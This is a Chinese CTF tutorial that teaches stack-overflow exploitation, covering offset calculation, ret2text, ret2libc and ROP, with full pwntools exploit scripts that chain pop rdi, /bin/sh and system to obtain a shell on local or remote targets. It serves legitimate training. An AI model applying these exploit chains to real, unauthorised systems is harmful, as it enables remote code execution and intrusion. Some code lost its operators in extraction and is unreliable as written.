CTF PWN栈溢出实战:从原理到利用脚本编写

CTF PWN栈溢出实战:从原理到利用脚本编写 1. 项目概述从零到一的PWN栈溢出实战最近在CTFHub上刷PWN题发现很多新手卡在栈溢出这一关尤其是面对一个陌生的二进制文件如何快速定位漏洞、编写利用脚本这个过程确实需要一套清晰的思路和趁手的工具。今天我就结合一个典型的CTFHub PWN入门题手把手带你走一遍完整的流程。我们不会只停留在“输入一堆A然后程序崩溃”的层面而是要深入理解栈的结构、覆盖返回地址的原理并最终用Python和pwntools库写出一份能稳定拿到shell的exp漏洞利用脚本。无论你是刚接触二进制安全的新手还是想系统梳理一下利用流程的老手这篇实战笔记都能给你提供直接的参考。整个过程的精髓在于“理解”而非“记忆”我会把每个步骤背后的“为什么”讲清楚让你下次遇到新题也能举一反三。2. 核心漏洞原理与栈帧布局拆解2.1 栈溢出漏洞的本质要利用栈溢出首先得明白栈在程序运行时是干什么的。你可以把栈想象成一个临时储物架函数被调用时它的“家当”比如局部变量、函数返回后该回到哪里返回地址、上一个函数的栈帧位置ebp寄存器值都会按顺序摆在这个架子上。这个摆放的顺序和结构就是栈帧。漏洞产生的根源在于程序向栈上的缓冲区比如一个字符数组写入数据时没有检查写入的长度是否超过了缓冲区预先分配的大小。就像一个只能放10本书的格子你硬塞进去15本多出来的5本就会把旁边格子里原本的东西比如一个写着“回家地址”的便签给覆盖掉。在程序里这个被覆盖的“便签”很可能就是函数的返回地址。当函数执行完毕准备按照这个返回地址跳转回去继续执行时却发现地址被我们覆盖成了别的值于是CPU就会跳到我们指定的地方去执行代码这就是控制流劫持。2.2 关键偏移量的计算找到覆盖点知道原理后我们的第一个目标就是精确计算到底需要输入多少字节的数据才能刚好覆盖到那个关键的返回地址这个距离就是“偏移量”。这里通常有三种实战方法模式字符串法这是最经典的方法。使用cyclic工具生成一段不易重复的字符串例如aaaabaaacaaadaaa...作为输入让程序崩溃。程序崩溃时系统会报错并告诉你当前程序计数器EIP/RIP的值是多少。这个值就是覆盖到返回地址时其内容被我们替换成的字符串片段。我们再使用cyclic -l 崩溃时的值命令就能反推出这个片段在模式字符串中的位置这个位置就是精确的偏移量。这个方法在x86和x64架构下都通用非常可靠。静态分析结合动态调试用IDA Pro或Ghidra反编译程序找到存在溢出漏洞的函数通常是使用了gets、scanf、strcpy等危险函数的那个。在反汇编视图或伪代码中计算局部变量总大小与返回地址之前的填充数据如保存的ebp大小之和。但这通常需要结合调试器如gdb验证因为编译器可能会进行栈对齐插入额外填充。暴力试探法在知道大概范围时可以写脚本从某个长度开始递增测试观察程序何时从“段错误”变为“非法指令”错误。当覆盖到返回地址但地址内容不可执行时是“段错误”当覆盖后跳转到了一个由我们输入数据构成的、被解释为指令的地址时就可能产生“非法指令”。这个转变点可以帮助粗略定位。对于CTF入门题方法1是最推荐、最通用的。它不依赖于复杂的反编译直接通过动态运行得到准确结果。注意在64位程序中如果函数开头有mov rbp, rsp这样的指令来建立栈帧那么返回地址在栈上的位置通常位于rbp8。但在开启了栈保护Canary或编译器优化的情况下布局可能会变化动态验证永远是金标准。3. 利用链构建获取shell的多种路径3.1 利用思路的选择算准了偏移量我们知道了该在哪里“下笔”写入控制数据。接下来要决定写入什么。我们的目标是获取一个shell/bin/sh常见思路有以下几种需要根据题目环境选择ret2shellcode在栈是可执行NX保护未开启的情况下我们可以把一段能产生shell的机器码shellcode作为输入的一部分写入栈中然后将返回地址覆盖为这段shellcode的起始地址。CPU返回时就会直接执行我们注入的代码。这种方法的难点在于需要精准定位shellcode在栈上的地址因为栈地址可能在每次运行时略有变化ASLR。ret2libc这是现代CTF题中最常见的情况因为栈通常不可执行NX保护开启。我们无法执行栈上的代码但可以执行程序本身或链接库如libc中已有的代码。思路是通过覆盖返回地址让程序跳转到libc库中的某个函数如system去执行并控制好参数如让system的参数指向字符串/bin/sh。这需要泄露libc的基地址以计算system和/bin/sh字符串的真实地址。ret2text / ret2plt如果程序本身或它的PLT过程链接表中就有system等危险函数调用并且参数可控例如程序里本身就有system(/bin/sh)这样的代码片段或者有一个gets调用后接system那么我们可以直接让程序流跳转到这些现成的代码片段上。这通常不需要处理libc地址随机化ASLR因为程序本身的代码段地址是固定的。ROP面向返回编程当一次跳转无法完成复杂操作例如需要先后调用read读入数据、再调用system时就需要ROP。通过连续覆盖栈布置一系列以ret指令结尾的小代码片段gadget的地址形成一个指令执行链像搭积木一样完成利用。对于CTFHub的入门级PWN题为了降低难度环境设置往往会比较友好比如关闭ASLR、程序本身包含后门函数或能直接找到system和/bin/sh。我们本次实战就假设是这种“经典简单栈溢出”场景采用ret2text或简单的ret2libc思路。3.2 寻找攻击所需的“零件”确定思路后就要用工具寻找所需的地址或片段查找函数地址使用objdump -t ./pwn_binary | grep system或readelf -s ./pwn_binary | grep system在二进制文件中查找。如果在程序本身的符号表里找不到那很可能需要去libc里找。查找字符串地址使用strings -t x ./pwn_binary | grep /bin/sh查找程序中是否硬编码了/bin/sh字符串及其地址。寻找gadget如果需要ROP使用ROPgadget --binary ./pwn_binary或ropper等工具来搜索可用的指令片段比如pop rdi; ret用于x64下设置第一个参数非常关键。检查保护机制用checksec ./pwn_binary快速查看程序开启了哪些保护NX, PIE, Canary等这直接决定了我们能用哪种利用方法。4. 实战演练编写Pythonpwntools利用脚本4.1 环境搭建与工具准备工欲善其事必先利其器。我们的核心工具是pwntools这是一个专为CTF设计的Python库集成了本地/远程交互、打包数据、日志记录等多种功能。# 安装pwntools pip install pwntools编写exp脚本的基本框架如下#!/usr/bin/env python3 from pwn import * # 导入pwntools # 1. 设置上下文例如架构和日志级别 context(archamd64, oslinux, log_leveldebug) # 2. 启动进程或连接远程 # 本地调试 io process(./pwn_binary) # 远程攻击CTFHub通常提供socket连接 # io remote(challenge.ctfhub.com, 10000) # 3. 接收一些初始输出便于观察可选 print(io.recvuntil(bWelcome!\n)) # 4. 构造payload offset 72 # 假设我们通过cyclic方法计算出的偏移量是72 # 假设我们在程序中找到了system函数的地址和/bin/sh字符串的地址 system_addr 0x400520 binsh_addr 0x400800 # 对于x64调用system(/bin/sh)需要将第一个参数rdi寄存器设置为/bin/sh的地址 # 我们需要一个pop rdi; ret的gadget pop_rdi_ret 0x4008a3 # 构造payload payload bA * offset # 填充字节直到返回地址前 payload p64(pop_rdi_ret) # 覆盖返回地址首先跳转到pop rdi; ret payload p64(binsh_addr) # pop rdi指令会从栈上弹出这个值到rdi寄存器 payload p64(system_addr) # ret指令跳转到system函数此时rdi/bin/sh地址 # 5. 发送payload io.sendline(payload) # 6. 切换到交互模式拿到shell后就可以手动输入命令了 io.interactive()4.2 Payload构造的细节与技巧上面的框架中有几个关键点需要深入理解p64()与p32()pwntools的这两个函数用于将整数地址打包成对应架构的字节序小端序和字长。p64()用于64位程序打包成8字节p32()用于32位程序打包成4字节。这确保了我们在栈上写入的地址数据格式是正确的。ROP链的构造在64位Linux下函数调用约定前六个参数使用寄存器rdi, rsi, rdx, rcx, r8, r9多余参数才用栈。所以调用system(/bin/sh)只需要控制rdi。我们通过pop rdi; ret这个gadget来实现CPU执行pop rdi时会从栈顶即我们payload中紧接着gadget地址后面的数据弹出binsh_addr到rdi寄存器然后ret指令再将栈顶的下一个数据system_addr弹出到指令指针实现跳转。这个过程就是一次最简单的ROP。栈对齐问题在某些系统如Ubuntu 18.04的64位程序中调用system时要求栈指针rsp在16字节边界上对齐。如果跳转到system时rsp未对齐可能会造成崩溃。一个常见的技巧是在ROP链中插入一个单独的ret指令的gadget地址ret指令的机器码是0xc3它只做一次弹栈rsp8可以微调栈指针以满足对齐要求。所以payload有时会变成padding pop_rdi_ret binsh_addr ret_addr system_addr。4.3 本地调试与远程利用在脚本开发阶段使用process()在本地运行程序至关重要。结合gdb可以进行精细调试io process(./pwn_binary) # 使用gdb附加调试进程非常适合动态分析 gdb.attach(io, break *main continue )当本地exp稳定工作后只需将process(./pwn_binary)替换为remote(目标主机, 端口)即可无缝切换到攻击远程靶机。pwntools会自动处理网络连接和数据收发。5. 完整Exp示例与深度解析下面我们以一个虚构但非常典型的CTFHub入门题pwn_me为例展示一份完整的、带有详细注释的exp。#!/usr/bin/env python3 # -*- coding: utf-8 -*- from pwn import * # 设置目标二进制和上下文 exe ./pwn_me context.binary exe # pwntools会自动根据二进制文件设置arch, os等 context.log_level info # 调试时用debug能看到所有收发数据 def find_offset(): 使用cyclic模式字符串自动计算偏移量 io process(exe) io.recvuntil(binput:\n) # 生成200个字符的模式字符串 pattern cyclic(200) io.sendline(pattern) io.wait() # 等待程序崩溃 # 从核心转储文件中获取崩溃时的指令指针值 core io.corefile offset cyclic_find(core.read(core.rsp, 4)) # 假设是x86取4字节 # 如果是x64可能需要 cyclic_find(core.read(core.rsp, 8)) log.info(fOffset found: {offset}) io.close() return offset def exploit(): # 计算偏移量可以缓存结果不用每次都算 offset 72 # 假设我们已经通过find_offset()得到72 # 启动进程本地 io process(exe) # 如果是远程替换为io remote(xxx.xxx.xxx.xxx, 9999) # 使用ELF类方便地获取符号地址 elf ELF(exe) # 假设程序里有后门函数win()或者有system和/bin/sh # 场景1: 直接跳转到后门函数 # win_addr elf.symbols[win] # 获取win函数地址 # payload flat({offset: p64(win_addr)}) # 场景2: ret2libc (题目未开启PIE和ASLRlibc地址固定) # 我们需要pop rdi; ret gadget, system地址, /bin/sh地址 # 使用ROPgadget找到的gadget地址 pop_rdi_ret 0x4008a3 # 假设通过泄露或题目已知的libc地址 # 这里演示静态链接或已知地址的情况 system_addr 0x7ffff7e1a2d0 # 一个示例地址实际需要动态获取 binsh_addr 0x7ffff7f7c031 # 构造ROP链 payload bA * offset payload p64(pop_rdi_ret) payload p64(binsh_addr) payload p64(system_addr) # 发送payload io.recvuntil(binput:\n) io.sendline(payload) log.info(Payload sent.) # 尝试切换到交互模式 io.interactive() if __name__ __main__: # 可以先调用find_offset()确定偏移 # offset find_offset() exploit()这份exp的通用性很强核心逻辑在于payload的构建。在实际解题中你需要替换其中的关键地址pop_rdi_ret、system_addr、binsh_addr。获取这些地址的方法取决于题目配置题目提供libc.so如果题目额外给了一个libc文件你可以用LibcSearcher工具或手动计算偏移。先泄露一个已知函数如puts的运行时地址减去它在给定libc中的偏移得到libc基地址然后再计算出system和/bin/sh的地址。程序自带后门直接用elf.symbols[后门函数名]获取地址payload最简单直接覆盖返回地址为该函数地址即可。需要泄露地址这通常涉及两次溢出。第一次溢出利用puts或printf函数泄露某个函数的got表地址如putsgot接收程序打印出的地址计算出libc基址。第二次溢出再利用计算出的地址构造最终的system(/bin/sh)payload。6. 常见问题排查与实战心得6.1 调试过程中遇到的典型问题偏移量计算不准这是最常见的问题。务必使用cyclic方法进行精确计算。确保你发送的pattern让程序崩溃并且正确地从崩溃的寄存器值EIP/RIP或栈指针指向的值中提取出pattern片段进行查找。在64位下注意可能是8字节对齐cyclic_find时需要查找8字节数据。Payload发送后没反应或崩溃栈对齐问题尝试在system地址前加一个retgadget的地址。地址错误检查找到的system、/bin/sh、gadget地址是否正确。特别是libc地址是否考虑了ASLR如果开了ASLR每次运行的基址都不同需要先泄露。参数错误x64下确认是否用对了寄存器第一个参数是rdi。x86下参数在栈上构造方式不同。存在栈保护Canary如果程序有Canary我们的溢出会覆盖到Canary值导致程序检测到栈破坏而终止。这种情况需要先泄露Canary值然后在payload中原样写回。本地成功远程失败环境差异本地和远程的libc版本可能不同。务必使用题目提供的libc文件或者通过泄露的地址在远程环境中计算偏移。网络缓冲远程交互时注意recvuntil()中的字符串是否完全匹配可能因为换行符等问题导致阻塞。可以尝试使用recvline()或设置timeout。地址随机化PIE如果程序本身开了PIE它的代码段地址每次运行也会变。这时需要先泄露一个程序本身的地址如某个函数的返回地址或.got表地址来计算程序基址。6.2 提升效率的实用技巧使用pwntools的ELF和ROP类它们能极大简化工作。ELF(./pwn)对象可以直接查询符号、plt、got表地址。ROP(elf)可以自动搜索gadget并构建链。elf ELF(./pwn_me) rop ROP(elf) rop.system(next(elf.search(b/bin/sh\x00))) payload flat({offset: rop.chain()})善用gdb.attach()在脚本中插入gdb.attach(io)运行脚本时会自动弹出gdb并附加到进程方便你下断点、观察栈布局、寄存器值是动态调试的利器。编写通用的地址泄露函数对于需要泄露地址的题目写一个函数来封装“溢出-泄露-计算”的过程会让exp结构更清晰。注意字符串结尾的空字符在构造payload时如果其中包含字符串如/bin/sh要确保它以\x00结尾或者使用pwntools的fit或flat方法时注意字符串长度避免截断错误。6.3 从入门到精进的关键栈溢出是PWN的基石。掌握它不仅仅是会写一个能用的exp更要理解每一步背后的内存操作和CPU行为。多动手、多调试、多读别人的writeup解题报告是进步最快的方式。遇到新题养成一套自己的分析流程检查保护 - 静态分析找危险函数 - 动态调试算偏移 - 寻找可用零件 - 构建利用链 - 编写调试exp。把这个流程变成肌肉记忆再遇到更复杂的保护机制如RELRO, FORTIFY和利用技术如堆利用、格式化字符串时你才能有扎实的基础去理解和攻克。最后所有操作请在合法的靶场环境如CTFHub、攻防世界中进行切勿对未授权的系统进行测试。